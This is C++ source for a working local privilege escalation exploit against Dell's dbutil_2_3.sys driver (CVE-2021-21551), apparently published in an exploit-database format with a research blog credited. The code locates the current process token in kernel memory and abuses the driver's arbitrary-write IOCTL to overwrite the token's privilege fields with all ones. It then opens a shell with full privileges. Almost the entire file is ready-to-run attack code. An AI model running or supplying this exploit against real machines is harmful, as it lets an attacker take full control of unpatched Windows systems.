# Exploit Title: DELL dbutil_2_3.sys 2.3 - Arbitrary Write to Local Privilege Escalation (LPE)
# Date: 10/05/2021
# Exploit Author: Paolo Stagno aka VoidSec
# Version: <= 2.3
# CVE: CVE-2021-21551
# Tested on: Windows 10 Pro x64 v.1903 Build 18362.30
# Blog: https://voidsec.com/reverse-engineering-and-exploiting-dell-cve-2021-21551/
#include <iostream>
#include <windows.h>
#include <winternl.h>
#include <tlhelp32.h>
#include <algorithm>
#define IOCTL_CODE 0x9B0C1EC8 // IOCTL_CODE value, used to reach the vulnerable function (taken from IDA)
#define SystemHandleInformation 0x10
#define SystemHandleInformationSize 1024 * 1024 * 2
// define the buffer structure which will be sent to the vulnerable driver
typedef struct Exploit
{
uint64_t Field1; // "padding" can be anything
void* Field2; // where to write
uint64_t Field3; // must be 0
uint64_t Field4; // value to write
};
typedef struct outBuffer
{
uint64_t Field1;
uint64_t Field2;
uint64_t Field3;
uint64_t Field4;
};
// define a pointer to the native function 'NtQuerySystemInformation'
using pNtQuerySystemInformation = NTSTATUS(WINAPI*)(
ULONG SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength);
// define the SYSTEM_HANDLE_TABLE_ENTRY_INFO structure
typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO
{
USHORT UniqueProcessId;
USHORT CreatorBackTraceIndex;
UCHAR ObjectTypeIndex;
UCHAR HandleAttributes;
USHORT HandleValue;
PVOID Object;
ULONG GrantedAccess;
} SYSTEM_HANDLE_TABLE_ENTRY_INFO, * PSYSTEM_HANDLE_TABLE_ENTRY_INFO;
// define the SYSTEM_HANDLE_INFORMATION structure
typedef struct _SYSTEM_HANDLE_INFORMATION
{
ULONG NumberOfHandles;
SYSTEM_HANDLE_TABLE_ENTRY_INFO Handles[1];
} SYSTEM_HANDLE_INFORMATION, * PSYSTEM_HANDLE_INFORMATION;
int main(int argc, char** argv)
{
// open a handle to the device exposed by the driver - symlink is \\.\\DBUtil_2_3
HANDLE device = ::CreateFileW(
L"\\\\.\\DBUtil_2_3",
GENERIC_WRITE | GENERIC_READ,
NULL,
nullptr,
OPEN_EXISTING,
NULL,
NULL);
if (device == INVALID_HANDLE_VALUE)
{
std::cout << "[!] Couldn't open handle to DBUtil_2_3 driver. Error code: " << ::GetLastError() << std::endl;
return -1;
}
std::cout << "[+] Opened a handle to DBUtil_2_3 driver!\n";
// resolve the address of NtQuerySystemInformation and assign it to a function pointer
pNtQuerySystemInformation NtQuerySystemInformation = (pNtQuerySystemInformation)::GetProcAddress(::LoadLibraryW(L"ntdll"), "NtQuerySystemInformation");
if (!NtQuerySystemInformation)
{
std::cout << "[!] Couldn't resolve NtQuerySystemInformation API. Error code: " << ::GetLastError() << std::endl;
return -1;
}
std::cout << "[+] Resolved NtQuerySystemInformation!\n";
// open the current process token - it will be used to retrieve its kernelspace address later
HANDLE currentProcess = ::GetCurrentProcess();
HANDLE currentToken = NULL;
bool success = ::OpenProcessToken(currentProcess, TOKEN_ALL_ACCESS, ¤tToken);
if (!success)
{
std::cout << "[!] Couldn't open handle to the current process token. Error code: " << ::GetLastError() << std::endl;
return -1;
}
std::cout << "[+] Opened a handle to the current process token!\n";
// allocate space in the heap for the handle table information which will be filled by the call to 'NtQuerySystemInformation' API
PSYSTEM_HANDLE_INFORMATION handleTableInformation = (PSYSTEM_HANDLE_INFORMATION)HeapAlloc(::GetProcessHeap(), HEAP_ZERO_MEMORY, SystemHandleInformationSize);
// call NtQuerySystemInformation and fill the handleTableInformation structure
ULONG returnLength = 0;
NtQuerySystemInformation(SystemHandleInformation, handleTableInformation, SystemHandleInformationSize, &returnLength);
uint64_t tokenAddress = 0;
// iterate over the system's handle table and look for the handles beloging to our process
for (int i = 0; i < handleTableInformation->NumberOfHandles; i++)
{
SYSTEM_HANDLE_TABLE_ENTRY_INFO handleInfo = (SYSTEM_HANDLE_TABLE_ENTRY_INFO)handleTableInformation->Handles[i];
// if it finds our process and the handle matches the current token handle we already opened, print it
if (handleInfo.UniqueProcessId == ::GetCurrentProcessId() && handleInfo.HandleValue == (USHORT)currentToken)
{
tokenAddress = (uint64_t)handleInfo.Object;
std::cout << "[+] Current token address in kernelspace is at: 0x" << std::hex << tokenAddress << std::endl;
}
}
outBuffer buffer =
{
0,
0,
0,
0
};
/*
dt nt!_SEP_TOKEN_PRIVILEGES
+0x000 Present : Uint8B
+0x008 Enabled : Uint8B
+0x010 EnabledByDefault : Uint8B
We've added +1 to the offsets to ensure that the low bytes part are 0xff.
*/
// overwrite the _SEP_TOKEN_PRIVILEGES "Present" field in the current process token
Exploit exploit =
{
0x4141414142424242,
(void*)(tokenAddress + 0x40),
0x0000000000000000,
0xffffffffffffffff
};
// overwrite the _SEP_TOKEN_PRIVILEGES "Enabled" field in the current process token
Exploit exploit2 =
{
0x4141414142424242,
(void*)(tokenAddress + 0x48),
0x0000000000000000,
0xffffffffffffffff
};
// overwrite the _SEP_TOKEN_PRIVILEGES "EnabledByDefault" field in the current process token
Exploit exploit3 =
{
0x4141414142424242,
(void*)(tokenAddress + 0x50),
0x0000000000000000,
0xffffffffffffffff
};
DWORD bytesReturned = 0;
success = DeviceIoControl(
device,
IOCTL_CODE,
&exploit,
sizeof(exploit),
&buffer,
sizeof(buffer),
&bytesReturned,
nullptr);
if (!success)
{
std::cout << "[!] Couldn't overwrite current token 'Present' field. Error code: " << ::GetLastError() << std::endl;
return -1;
}
std::cout << "[+] Successfully overwritten current token 'Present' field!\n";
success = DeviceIoControl(
device,
IOCTL_CODE,
&exploit2,
sizeof(exploit2),
&buffer,
sizeof(buffer),
&bytesReturned,
nullptr);
if (!success)
{
std::cout << "[!] Couldn't overwrite current token 'Enabled' field. Error code: " << ::GetLastError() << std::endl;
return -1;
}
std::cout << "[+] Successfully overwritten current token 'Enabled' field!\n";
success = DeviceIoControl(
device,
IOCTL_CODE,
&exploit3,
sizeof(exploit3),
&buffer,
sizeof(buffer),
&bytesReturned,
nullptr);
if (!success)
{
std::cout << "[!] Couldn't overwrite current token 'EnabledByDefault' field. Error code:" << ::GetLastError() << std::endl;
return -1;
}
std::cout << "[+] Successfully overwritten current token 'EnabledByDefault' field!\n";
std::cout << "[+] Token privileges successfully overwritten!\n";
std::cout << "[+] Spawning a new shell with full privileges!\n";
system("cmd.exe");
return 0;
}